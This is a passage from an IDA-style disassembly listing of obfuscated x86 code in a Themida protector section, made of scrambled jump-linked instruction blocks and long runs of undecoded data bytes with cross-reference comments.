db 5Ch, 81h, 0ECh
dd 4, 0FFD965E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561BA9: ; CODE XREF: Themida_:005621E7j
pop ecx
add ecx, edi
pop edi
jmp loc_5572EB
; ---------------------------------------------------------------------------
dw 5366h
dd 175CE9h
db 0
; ---------------------------------------------------------------------------
loc_561BB9: ; CODE XREF: Themida_:00554A61j
push dword ptr [esp]
pop ebp
jmp loc_556C65
; ---------------------------------------------------------------------------
dw 0C483h
dd 4C38104h, 87000000h, 248B241Ch, 8BF02924h, 0C4832434h
dd 7AB95104h, 51519817h, 0FEEEFCE9h, 241489FFh, 21CB68h
dd 0E18BE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561BF2: ; CODE XREF: Themida_:00553D10j
sub esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55345C
; ---------------------------------------------------------------------------
loc_561C02: ; CODE XREF: Themida_:005523B0j
add esp, 4
push 77E4h
mov [esp], ecx
push 12B92A92h
jmp loc_55E1EF
; ---------------------------------------------------------------------------
dw 0EE81h
dd 0FFFFFFFFh, 0F331DE31h, 0D3F7DE31h, 5CE9DE87h, 89FFFF0Ch
dd 4C181E1h, 83000000h, 0C8704E9h, 24248B24h, 51240489h
dd 6B5693B9h, 1BA7E939h, 0EBC1FFFFh, 0BCCB8105h, 0E93E8066h
dd 0FFFF9490h
; ---------------------------------------------------------------------------
loc_561C5C: ; CODE XREF: Themida_:00563D6Dj
mov esp, [esp]
push 76BCh
jmp loc_55FF87
; ---------------------------------------------------------------------------
db 56h, 0BEh, 4
dd 1000000h, 5E042474h, 0FF7841E9h, 2414F7FFh, 51420558h
dd 51E977F6h, 88FFFF43h, 24048BE6h, 4C481h, 0C6E90000h
dd 0BFFFFF68h, 30284AA7h, 0FFD180E9h
db 0FFh
byte_561CA1 db 66h, 50h, 66h ; DATA XREF: Themida_:0054FC48o
dd 22474FFh, 8F665866h, 0FBE92404h
db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561CB3: ; CODE XREF: Themida_:0055627Aj
push edx
jmp loc_55B7B6
; ---------------------------------------------------------------------------
db 5Ah, 89h, 0D7h
dd 8BFB015Ah, 0B9E9243Ch, 89FFFFAEh, 4C281E2h, 53000000h
dd 4BBh, 0E9DA0100h, 0FFFFCCB7h, 8324048Fh, 8B042404h
dd 89532434h, 4C381E3h, 57000000h, 4BFh, 5FFB0100h, 5C241C87h
dd 4C681h, 0E9570000h, 0FFFEF097h
; ---------------------------------------------------------------------------
loc_561D08: ; CODE XREF: Themida_:00553DCFj
push 1
push dword ptr [esp]
pop edi
push 4885h
mov [esp], edi
jmp loc_5535B9
; ---------------------------------------------------------------------------
dw 815Bh
dd 4C3h, 4C38100h, 68000000h, 6FCDh, 0FF241C89h, 5B042474h
dd 8B24048Fh, 3FE92424h, 66FFFF15h, 28B1B551h, 2C5966E8h
dd 4D80092h, 5BB10492h, 4EC8151h, 89000000h, 52662404h
dd 0FFDB7BE9h, 53DAF7FFh, 0F85BE952h, 5258FFFEh, 0BE6A64BAh
dd 83574242h, 48904ECh, 0C096824h, 5158102Bh, 0FF9D5DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561D89: ; CODE XREF: Themida_:00555036j
push edx
mov edx, 5FD27BCBh
sub ebp, 4B6777CFh
sub ebp, edx
jmp loc_55300C
; ---------------------------------------------------------------------------
dd 0EC81575Ah, 4, 0E9242C89h, 0FFFF4D87h, 0E9240487h, 28A7h
dd 4EF81h, 0E9570000h, 0FFFFAAC3h
; ---------------------------------------------------------------------------
loc_561DC0: ; CODE XREF: Themida_:0055EFC3j
mov edx, 0F7C504CAh
add ebx, edx
pop edx
sub ebx, 53B16809h
sub ebx, esi
add ebx, 53B16809h
xor esi, ebx
jmp loc_559D0E
; ---------------------------------------------------------------------------
loc_561DDD: ; CODE XREF: Themida_:0055A794j
add esp, 4
push edx
neg dword ptr [esp]
jmp loc_558E01
; ---------------------------------------------------------------------------
loc_561DEC: ; CODE XREF: Themida_:005512A0j
neg ecx
xor ecx, 0BE6EDC82h
add esi, ecx
mov ecx, [esp]
add esp, 4
push ebp
push esi
jmp loc_551E59
; ---------------------------------------------------------------------------
db 1
dd 5908244Ch, 0FF74EFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561E0D: ; CODE XREF: Themida_:0055C215j
sub eax, edi
jmp loc_55EBCC
; ---------------------------------------------------------------------------
dd 0E9241C33h, 2CDAh
; ---------------------------------------------------------------------------
loc_561E1C: ; CODE XREF: Themida_:005521C2j
mov esi, 4D6969A0h
jmp loc_5590BB
; ---------------------------------------------------------------------------
dw 0EB81h
dd 3F5616AEh, 0E9DE295Ah, 0FFFF237Dh, 55E08950h, 4BDh
dd 2191E900h, 0CA010000h, 8B32FF59h, 0C483240Ch, 240E904h
dd 1431FFFFh, 0AE4E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_561E5A: ; CODE XREF: Themida_:0055F0BAj
not ebx
xchg ebx, ebp
xchg ebp, [esp]
jmp loc_557480
; ---------------------------------------------------------------------------
loc_561E66: ; CODE XREF: Themida_:00562B2Dj
push dword ptr [esp]
pop ecx
jmp loc_5595C4
; ---------------------------------------------------------------------------
db 0B8h
dd 466C583Eh, 0FF5B39E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561E79: ; CODE XREF: Themida_:00552018j
mov edi, [esp]
add esp, 4
xor edi, 36E5682Bh
jmp loc_557385
; ---------------------------------------------------------------------------
dw 0E952h
dd 0FFFF36EAh
; ---------------------------------------------------------------------------
loc_561E90: ; CODE XREF: Themida_:00559DE2j
shr ebp, 3
push edi
jmp loc_56349C
; ---------------------------------------------------------------------------
loc_561E99: ; CODE XREF: Themida_:00554071j
and eax, esi
jmp loc_55A8F5
; ---------------------------------------------------------------------------
dd 3FE2F581h, 0EB214010h, 6CEB815Dh, 0C1486E28h, 0C38102E3h
dd 217706B4h, 55BD801h, 4, 31240433h, 8CE92404h, 0C1FFFFBFh
dd 0B85004E2h, 0EE3E89E0h, 0E958C231h, 0FFFF74A7h, 66F88966h
dd 0E316E95Fh, 2C33FFFEh, 0C7815C24h, 4, 4EC81h, 0A5E90000h
dd 1FFFF61h, 0EA8158C2h, 162E4448h, 0C281CA01h, 162E4448h
dd 63C9EA81h, 81593D7Ch, 4ECh, 240C8900h, 4B9h, 0BEC28100h
dd 13D5D18h, 0BEEA81CAh, 593D5D18h, 2474FF52h, 24148B04h
dd 0FF5CA8E9h
db 0FFh
byte_561F3D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FEACo
dd 4EC8124h, 89000000h, 8B54242Ch, 10E9242Ch, 0B3FFFF20h
dd 0E9F30067h, 0FFFEE390h, 0E924248Bh, 0FFFF723Bh, 617C68h
dd 24148900h, 9C1F8ABAh, 67FBE95Ch, 0C981FFFFh, 36294C3Eh
dd 2E77E9h
db 0
; ---------------------------------------------------------------------------
loc_561F81: ; CODE XREF: Themida_:0055398Bj
mov edi, 0
sub edi, edx
xchg edi, edx
jmp loc_550D1F
; ---------------------------------------------------------------------------
db 31h
dd 24148BD7h, 4C481h, 0EFC10000h, 2805E903h, 8CB9FFFFh
dd 89057C40h, 448159CAh, 7B820824h, 54297A49h, 6C810824h
dd 7B820824h, 815A7A49h, 0F3042444h, 15B3E70h, 8104245Ch
dd 0F304246Ch, 525B3E70h, 1731B951h, 51E97C00h, 5EFFFEF2h
dd 0FF4278E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561FE5: ; CODE XREF: Themida_:0055668Bj
mov [esp], ebp
push edi
jmp loc_555943
; ---------------------------------------------------------------------------
loc_561FEE: ; CODE XREF: Themida_:00558A18j
push dword ptr [esp+4]
pop ecx
jmp loc_559A14
; ---------------------------------------------------------------------------
dd 0ED81D5F7h, 45143552h, 87C2F581h, 0EA891297h, 554DE95Dh
dd 98BAFFFFh, 0E9748448h, 0FFFFAF81h, 31241C33h, 1C33241Ch
dd 24248B24h, 0FF58AAE9h, 0C8966FFh, 0DEE5E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_562032: ; CODE XREF: Themida_:0055F31Aj
push dword ptr [esp]
pop ebp
add esp, 4
push edx
jmp loc_5588FC
; ---------------------------------------------------------------------------
dw 3487h
dd 0ED3AE924h, 0C281FFFFh, 3ACE2813h, 57243C8Bh, 0BB53E789h
dd 4, 0FFCFBEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562061: ; CODE XREF: Themida_:00556E48j
add dword ptr [esp], 5B643CD6h
mov eax, [esp]
push ebx
jmp loc_56238D
; ---------------------------------------------------------------------------
db 0B8h, 97h, 0C3h
dd 0B1E9B1B9h, 80FFFF38h, 0C780BDF1h, 80CF283Dh, 593DEFh
dd 241C8BF8h, 2804C483h, 0FF682CF0h, 835A2434h, 686604C4h
dd 896618E0h, 2368241Ch, 0E9000030h, 0FFFF7279h
; ---------------------------------------------------------------------------
loc_5620AC: ; CODE XREF: Themida_:00558497j
and edx, 4E990F60h
xor edx, 8DD5ABEh
xor edx, 254A7DBFh
jmp loc_55AD67
; ---------------------------------------------------------------------------
db 8Bh
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_557D77
; ---------------------------------------------------------------------------
loc_5620DA: ; CODE XREF: Themida_:0054FF8Fj
pop ecx
jmp loc_5621FD
; ---------------------------------------------------------------------------
dd 84E9E289h, 0E9FFFF73h, 0FFFEDE2Bh, 0D5BD801h, 16A11B28h
dd 540F0B05h, 8BC101F8h, 0BDE92404h, 59FFFFB2h, 4C181h
dd 1B680000h, 8900004Ah, 2BA2414h, 81000000h, 460574C1h
dd 81D10128h, 460574E9h, 66DBE928h, 0EC83FFFFh, 241C8904h
dd 1ABAE9h
db 0
; ---------------------------------------------------------------------------
loc_562135: ; CODE XREF: Themida_:0055FEFEj
mov ebp, esp
add ebp, 4
jmp loc_5611E5
; ---------------------------------------------------------------------------
dw 0CC88h
dd 241C8B59h, 2804C483h, 0EE7BE9E7h, 5A89FFFEh, 54CFE938h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56215A: ; CODE XREF: Themida_:00562DD3j
sub ebp, eax
sub ebp, 60737CC4h
jmp loc_5521C7
; ---------------------------------------------------------------------------
aFqA db '[fQµí',0
db 0EAh, 66h, 59h
dd 28A7C280h, 0A7EA80EAh, 81EDEA80h, 4ECh, 1452E900h, 158FFFFh
dd 0E904247Ch, 0FFFF7829h, 2C1A6FBAh, 38C38147h, 1503A7Bh
dd 1441E9D3h, 0CB800000h, 0E3B551E4h, 0FDB45066h, 5866E530h
dd 0C8BEB00h, 4C48124h, 80000000h, 0C58069EBh, 0E9DD280Ch
dd 2F86h, 9E95854h, 5E00000Ch, 4C481h, 0C1680000h, 0E9000022h
dd 0FFFF4CDDh
; ---------------------------------------------------------------------------
loc_5621E0: ; CODE XREF: Themida_:00562808j
mov ecx, 72184149h
xor edi, ecx
jmp loc_561BA9
; ---------------------------------------------------------------------------
dd 8105EAC1h, 0AF1482F2h, 5AD02964h, 0FF1759E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5621FD: ; CODE XREF: Themida_:005620DBj
pop ebx
not ebx
push ecx
sub esp, 4
mov [esp], ebx
pop ecx
pop ebx
sub ecx, 0C34279AEh
push ebx
mov ebx, ecx
sub esp, 4
jmp loc_553837
; ---------------------------------------------------------------------------
dd 3C8BF829h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
dd 0FFD85CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562239: ; CODE XREF: Themida_:00553423j
sub esi, eax
pop eax
jmp loc_55F8F8
; ---------------------------------------------------------------------------
db 81h, 0EEh, 54h
dd 0F7282259h, 4EC83DEh, 0BB241C89h, 3CD00292h, 34FFDE01h
dd 0C4835B24h, 0C6814E04h, 2A567D71h, 0BA64C681h, 0EC83DF0Ah
dd 241C8904h, 0B64A45BBh, 67B9512Dh, 2107066Ah, 0CB8159CBh
dd 0EE144B4h, 5504EBC1h, 0FF7735E9h, 572CBBFFh, 0EBC13B69h
dd 0F75AE902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56229A: ; CODE XREF: Themida_:00563FABj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edx
jmp loc_554606
; ---------------------------------------------------------------------------
loc_5622B1: ; CODE XREF: Themida_:0055BE18j
add eax, 67911D78h
jmp loc_562AE1
; ---------------------------------------------------------------------------
db 31h
dd 34332434h, 3B665C24h, 4AE99CC8h, 0FFFFFFD5h, 83592434h
dd 7A3504C4h, 0E96B1C7Fh, 0FFFF8222h, 4C48358h, 6B0968h
dd 243C8900h, 5250E789h, 1E3DE956h, 0F3290000h, 0FF9E95E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5622F9: ; CODE XREF: Themida_:00563C50j
mov [esp], esi
mov esi, esp
push edi
mov edi, 4
add esi, 1FA63552h
add esi, 725E4CA5h
jmp loc_56453E
; ---------------------------------------------------------------------------
db 81h, 0C2h, 61h
dd 81490F45h, 1B4AE5C2h, 5AD10137h, 4EC81h, 1AE90000h
dd 29FFFF3Dh, 240C8BC8h, 2D04C483h, 3D077E0Bh, 0FF5089E9h
dd 243C31FFh, 0FF60A2E9h, 5E5C1FFh, 0DB34F581h, 0E829CCF7h
dd 0E953565Dh, 0FFFF3D6Ch
dword_56235C dd 24048B66h, 4EC81h, 0C890000h ; DATA XREF: Themida_:0054FD70o
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_558C43
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812404h, 4, 0FFE94FE9h, 24048FFFh, 0FF7295E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56238D: ; CODE XREF: Themida_:0056206Cj
mov ebx, esp
jmp loc_557D26
; ---------------------------------------------------------------------------
loc_562394: ; CODE XREF: Themida_:005544F9j
mov esi, [esp]
add esp, 4
pop ecx
movzx ax, byte ptr [eax]
push 67B8h
mov [esp], ebx
jmp loc_560DF5
; ---------------------------------------------------------------------------
db 81h
dd 4C7h, 243C3300h, 33243C31h, 15C243Ch, 20ABE9C2h, 0C481FFFFh
dd 4, 5C24048Fh, 52E18951h, 34076856h, 815E4713h, 3E5E3DF6h
dd 0EEC14E57h, 0A7F68104h, 890102D6h, 0D1015EF2h, 8324148Bh
dd 0ACE904C4h, 0E9000024h, 0FFFEDB17h, 4459E959h, 0DE31FFFFh
dd 81241C8Bh, 4C4h, 0E9F02900h, 0FFFF6C13h, 0EB6D16BEh
dd 0AEE68156h, 0F71EE93Ch, 68D6F7D6h, 4E68h, 0BF243C89h
dd 0F0C7CBAh, 0F75FFE09h, 0ACEE81D6h, 1D1B316h, 0F1815EF1h
dd 2BE4EB9Bh, 0C8BCF01h, 40DDE924h, 0C381FFFFh, 2D7306C3h
dd 5D2434FFh, 0FF04C483h, 0DAB1E930h, 8966FFFEh, 42E92404h
dd 8BFFFFA5h, 0C481243Ch, 4, 4BA52h, 0D7010000h, 0FFB099E9h
dd 0C1D2F7FFh, 1FE902E2h
db 0Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56248F: ; CODE XREF: Themida_:00557B96j
pop ebx
jmp loc_54FF17
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4EC8358h, 89243C89h, 4C781E7h, 0E9000000h, 0FFFF8185h
dd 15AD729h, 0FC42E9D7h, 0AF05FFFEh, 5231E80Ah, 3C77E955h
dd 0E929FFFFh, 0E9E9015Dh, 2835h
; ---------------------------------------------------------------------------
loc_5624CC: ; CODE XREF: Themida_:00553550j
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
push 4A2Ah
mov [esp], edx
push 1BE038E2h
pop edx
dec edx
inc edx
add edx, 0E41FC722h
mov ecx, edx
mov edx, [esp]
jmp loc_5569E3
; ---------------------------------------------------------------------------
dw 0E589h
dd 4C581h, 0C5830000h, 7220E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562506: ; CODE XREF: Themida_:00555A4Fj
neg esi
jmp loc_553428
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 79F2BA52h, 0EAC12270h, 0EBE28104h, 83017A7Fh, 1E9FFC2h
dd 2DFFFFD3h, 6B7FB08h, 31AEEE81h, 89E96A32h, 89FFFEDCh
dd 4AE9241Ch, 5FFFFF09h, 0FF37FDE9h, 241429FFh, 0FF4950E9h
dd 242C8BFFh, 2904C483h, 16EB81F3h, 5E2EFF6Ah, 0B4E9008Fh
dd 5FFFED9h, 878845FAh, 3DE9C629h, 83FFFFC6h, 348704C6h
dd 0FF525C24h, 5A042474h, 8B24048Fh, 34FF2424h, 2434FF24h
dd 0B08E9h
db 0
; ---------------------------------------------------------------------------
loc_56258D: ; CODE XREF: Themida_:00554FC7j
sub ch, 1
sub ch, 39h
xor ch, dl
pop edx
sub bl, ch
pop ecx
sub bl, 0C2h
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
dw 0E961h
dd 0FFFF76EDh
; ---------------------------------------------------------------------------
loc_5625A8: ; CODE XREF: Themida_:00563CBEj
add esp, 4
push ebx
jmp loc_5602F0
; ---------------------------------------------------------------------------
align 2
dw 59EAh
dd 148BD000h, 4C48324h, 5153525Bh, 8852E4B5h, 5AD388EAh
dd 3AE95159h
db 1Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5625CF: ; CODE XREF: Themida_:0055504Ej
sub ebx, 0FFFFFFFFh
push ebp
mov ebp, 2DA01E98h
xor ebx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
mov eax, ebx
mov ebx, [esp]
push edx
push 22A4h
mov [esp], esp
add dword ptr [esp], 4
pop edx
jmp loc_55053B
; ---------------------------------------------------------------------------
db 0BEh, 0A7h, 0
dd 0F2297DA3h, 8B2434FFh, 0C4812434h, 4, 81E28952h, 4C2h
dd 4BE5600h, 81000000h, 0B40547C2h, 390E934h, 1489FFFFh
dd 4BA24h, 0D1010000h, 240C875Ah, 0E924248Bh, 0FFFEE128h
dd 5F2414F7h, 46D6E781h, 0C7811F7Dh, 57C14C7Eh, 0E907E7C1h
dd 0FFFFD016h, 0EA81EA29h, 7F5C79FDh, 8BD6015Dh, 0C4812414h
dd 4, 0FF7C51E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56266D: ; CODE XREF: Themida_:00555FB7j
sub ebx, edx
pop edx
add ebx, eax
jmp loc_556942
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24148900h, 0FF8622E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562685: ; CODE XREF: Themida_:00563696j
pop esp
xchg eax, edx
push 59ACh
mov [esp], ebp
push esi
push 6473349Bh
push dword ptr [esp]
pop esi
jmp loc_56157A
; ---------------------------------------------------------------------------
dw 0EE01h
dd 1490E9h
db 0
byte_5626A5 db 81h, 0ECh, 4 ; DATA XREF: Themida_:0054FEA4o
dd 89000000h, 0A968242Ch, 89000013h, 70E9243Ch, 0C1000020h
dd 0E95703E8h, 0FFFF35D4h
dword_5626C4 dd 5624048Bh, 0E904EC83h, 0FFFF6637h, 4240481h, 59000000h
; DATA XREF: Themida_:0054FD9Co
dd 0FF42BDE9h, 49E94DFFh
db 73h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5626E3: ; CODE XREF: Themida_:005604DDj
pop edx
jmp loc_556C5A
; ---------------------------------------------------------------------------
db 5Fh, 81h, 0E3h
dd 2F4C2CD9h, 0FFF38EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5626F5: ; CODE XREF: Themida_:00556225j
mov ebp, 4
add edi, ebp
pop ebp
xchg edi, [esp]
jmp loc_557586
; ---------------------------------------------------------------------------
db 5Eh, 0F7h, 0D3h
dd 0EF1EB81h, 0EB8111DDh, 7F55C87Dh, 0FFC4DEE9h, 4C181FFh
dd 0E9000000h, 0FFFF8DE3h, 164068h, 24048900h, 0ABE9E089h
dd 0C1FFFFEEh, 0EF8102E7h, 4F953FDFh, 0FF77BAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562741: ; CODE XREF: Themida_:0055C3A6j
pop eax
jmp loc_553D01
; ---------------------------------------------------------------------------
loc_562747: ; CODE XREF: Themida_:00556C70j
pop ebx
add edx, 4
xchg edx, [esp]
pop esp
or edx, eax
shl edx, 1
push 1262h
mov [esp], ebx
sub esp, 4
mov [esp], ecx
mov ecx, 31945F2Fh
inc ecx
or ecx, 0B556B59h
inc ecx
push ebx
mov ebx, 5D3F35CDh
or ecx, ebx
pop ebx
inc ecx
sub esp, 4
mov [esp], ebp
mov ebp, 0DD00D58h
sub esp, 4
mov [esp], ebx
mov ebx, 3D6E180Eh
sub ebx, 22EC24D8h
xor ebx, 351C06F4h
inc ebx
inc ebx
xor ebx, 717A3997h
add ebx, 0F01A7C61h
or ebp, ebx
mov ebx, [esp]
jmp loc_55502F
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 0E789243Ch, 609B68h, 241C8900h, 0FEDD53E9h
dd 73EE81FFh, 119860Fh, 0EC8152EEh, 4, 0E9242C89h, 0FFFF4F81h
dword_5627E4 dd 240C8B66h, 0FFA794E9h ; DATA XREF: Themida_:0054FDD8o
db 0FFh
; ---------------------------------------------------------------------------
loc_5627ED: ; CODE XREF: Themida_:0055C82Fj
push edi
mov edi, 53A172F5h
or edi, 61DC5DCCh
or edi, 1F75764Ah
sub esp, 4
mov [esp], ecx
jmp loc_5621E0
; ---------------------------------------------------------------------------
loc_56280D: ; CODE XREF: Themida_:00563644j
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_55DA64
; ---------------------------------------------------------------------------
loc_562824: ; CODE XREF: Themida_:0055B287j
shl esi, 4
neg esi
push edx
mov edx, 472D26DDh
add edx, 24565106h
or edx, 6A150D51h
xor edx, 65AD08AAh
xor esi, edx
pop edx
xor ebx, esi
pop esi
add ebx, 8EB68DF9h
add edi, ebx
pop ebx
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push ecx
sub esp, 4
mov [esp], esi
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_55B7CB
; ---------------------------------------------------------------------------
loc_562878: ; CODE XREF: Themida_:00560556j
push ebp
mov ebp, 4
add edi, 502B4452h
push esi
mov esi, 33C244A9h
push eax
mov eax, esp
jmp loc_557AEC
; ---------------------------------------------------------------------------
dw 48Fh
dd 24048324h, 24148B04h, 1A8E957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5628A2: ; CODE XREF: Themida_:00554D0Aj
mov esi, esp
jmp loc_55C679
; ---------------------------------------------------------------------------
db 80h, 0CCh, 89h
dd 889AC480h, 0F68058E6h, 28E62CF1h, 5AE604F0h, 8083E980h
dd 0C12816E9h, 8016C180h, 48B83C1h, 4C48124h, 66000000h
dd 0CBB15150h, 0B5E9C888h, 5CFFFF2Bh, 9C2404D3h, 0FF1ED2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5628E9: ; CODE XREF: Themida_:0056451Fj
pop edi
jmp loc_5642A5
; ---------------------------------------------------------------------------
db 56h
dd 0FED9A7E9h, 0CA315EFFh, 4EC8359h, 8B241489h, 0C4812434h
dd 4, 0FFF2895Ah, 565E2434h, 0C681E689h, 4, 4C681h, 34870000h
dd 69E95C24h
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562927: ; CODE XREF: Themida_:005527D8j
sub esp, 4
mov [esp], ecx
push 56DE00C1h
push dword ptr [esp]
pop ecx
jmp loc_564E68
; ---------------------------------------------------------------------------
dw 1433h
dd 24248B24h, 8098B252h, 92E9CDC3h, 29FFFF62h, 12C0E9EAh
dd 0DD88FFFFh, 53241C8Bh, 8168E389h, 89000038h, 18BF243Ch
dd 5548A216h, 0FFB1B8E9h, 4EC81FFh, 0E9000000h, 0FFFF906Eh
dd 8BB95152h, 0BA14317Fh, 6E7C9A2Ch, 2959CA29h, 0C3815AD3h
dd 7EC4532h, 6039C381h, 0A6686D3Eh, 89000003h, 0E9E92414h
dd 68FFFFF7h, 4B68h, 0FFD0C0E9h, 188805FFh, 0E8E94B94h
dd 89FFFF63h, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h
dd 0C068575Ch, 5F23CD56h, 8B5BB53h, 0C3812D6Eh, 7F6E2CA7h
dd 0FFE5F8E9h, 4AEF81FFh, 81103015h, 0BA107FC7h, 81D7016Ch
dd 0BA107FEFh, 4AC7816Ch, 0FF103015h, 565A2434h, 0C681E689h
dd 4, 0E904C683h, 0FFFFB203h, 0F75DE889h, 7E8C1D0h, 40C2BB53h
dd 0C5E97047h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562A27: ; CODE XREF: Themida_:0055B308j
or ebp, 13BA694Eh
neg ebp
inc ebp
jmp loc_5521A4
; ---------------------------------------------------------------------------
db 81h, 0C1h, 0FBh
dd 2931A26Ah, 0FBE981C1h, 5831A26Ah, 7644E949h, 0E789FFFFh
dd 2121BA52h, 0EAC17ECBh, 3EAC107h, 78B0BE56h, 18E94530h
dd 81FFFF00h, 4C2h, 68E95100h, 29FFFF56h, 247DE9D5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562A76: ; CODE XREF: Themida_:00552995j
pop ebx
push edx
mov edx, 4
add ecx, 7AF64467h
jmp loc_564F00
; ---------------------------------------------------------------------------
dd 0FFFFBD55h, 0E829FFFFh, 83242C8Bh, 0B95104C4h, 22B8B367h
dd 5759C831h, 0DB2F46BFh, 0D8FE91Dh, 0C0050000h, 2D0EF26Fh
dd 2946565Fh, 5F05D801h, 2D294656h, 0EF26FC0h, 1C70EF05h
dd 4A48E908h, 2268FFFFh, 89000014h, 0DC882404h, 48BE588h
dd 0E7895724h, 0FFAC6EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562AE1: ; CODE XREF: Themida_:005622B6j
xor eax, 0D8E95ABh
add esi, eax
pop eax
jmp loc_55E051
; ---------------------------------------------------------------------------
loc_562AEE: ; CODE XREF: Themida_:0055C03Bj
mov esp, [esp]
pop edx
and eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_553C97
; ---------------------------------------------------------------------------
dw 0DEF7h
dd 0DDF6814Eh, 81338F6Eh, 0D6D0E1C6h, 5EF53136h, 0DB3CE955h
dd 8B54FFFFh, 0C483243Ch, 0E9575004h, 0FFFF47FBh
; ---------------------------------------------------------------------------
loc_562B28: ; CODE XREF: Themida_:005556D2j
add ecx, edi
push dword ptr [ecx]
pop eax
jmp loc_561E66
; ---------------------------------------------------------------------------
loc_562B32: ; CODE XREF: Themida_:0056172Bj
mov esi, esp
add esi, 4
push edx
mov edx, 38A62486h
jmp loc_5569D8
; ---------------------------------------------------------------------------
loc_562B45: ; CODE XREF: Themida_:0055F71Fj
sub bl, ch
add bl, 0E9h
mov cx, [esp]
add esp, 2
jmp loc_552004
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 0B4E6E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562B5E: ; CODE XREF: Themida_:0055458Ej
sub edx, 27A326EDh
push esi
jmp loc_56138C
; ---------------------------------------------------------------------------
dw 5E5Eh
dd 4C681h, 50570000h, 0D22F668h, 25C9E962h, 48BFFFFh, 4C48324h
dd 1931E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_562B8A: ; CODE XREF: Themida_:00557711j
pop dword ptr [esp]
jmp loc_5642D8
; ---------------------------------------------------------------------------
dw 0D7F6h
dd 0C780CFFEh, 5BFA303Eh, 0FF857FE9h, 81D929FFh, 1D1F55E9h
dd 0C335B0Bh, 844DE924h, 1A68FFFFh, 0E9000078h, 0FFFF4D5Dh
dd 0A3DC781h, 0CF0123D1h, 3EFE9h, 0D7F75A00h, 4706EFC1h
dd 389BC781h, 0CF8119BBh, 20B34426h, 54AFC781h, 0E9812FBAh
dd 7E9931E1h, 0C181F901h, 7E9931E1h, 2434FF5Fh, 0E9242C8Bh
dd 0FFFF7B9Dh, 60BF575Ah, 8103C96Ch, 22A00F7h, 53E7D164h
dd 0D1214DBBh, 0D1434B26h, 3EBC1E3h, 62FACB81h, 0F3813BEEh
dd 2BB10859h, 0C15BDF31h, 0C78107E7h, 543A4067h, 4F3DE952h
dd 0C581FFFFh, 41E05D76h, 61D4F581h, 0EF896867h, 0C7814F5Dh
dd 40C50D68h, 542CC281h, 0EA816A5Fh, 0E0365F3h, 0C281FA29h
dd 0E0365F3h, 0FF7E47E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562C65: ; CODE XREF: Themida_:00563E09j
add dword ptr [esp], 4
pop dword ptr [esp]
push ecx
mov ecx, 4
add [esp+4], ecx
jmp loc_55AF8A
; ---------------------------------------------------------------------------
dw 8C05h
dd 2D5A896Ch, 1, 51ECBE56h, 27E9661Ah, 58FFFFADh, 5BD88859h
dd 0A1E9535Ah, 89FFFF50h, 0CA815BDAh, 5F2645D4h, 4418F281h
dd 685226C8h, 31F23149h, 0FEE19BE9h, 4E883FFh, 5C240487h
dd 51241489h, 1331BF68h, 75E95923h, 89FFFF73h, 4C581E5h
dd 83000000h, 2C8704C5h, 740D5C24h, 0E95F1421h, 0FFFEF6F9h
dd 423468h, 24148900h, 0EFE9B8B6h, 5FFFFF8Ah, 2260BE56h
dd 0E6C11EF6h, 0F7DEF704h, 0C7A9E9D6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562D0A: ; CODE XREF: Themida_:00563D4Aj
pop edi
pop ecx
dec ecx
xor edi, ecx
xor ecx, edi
xor edi, ecx
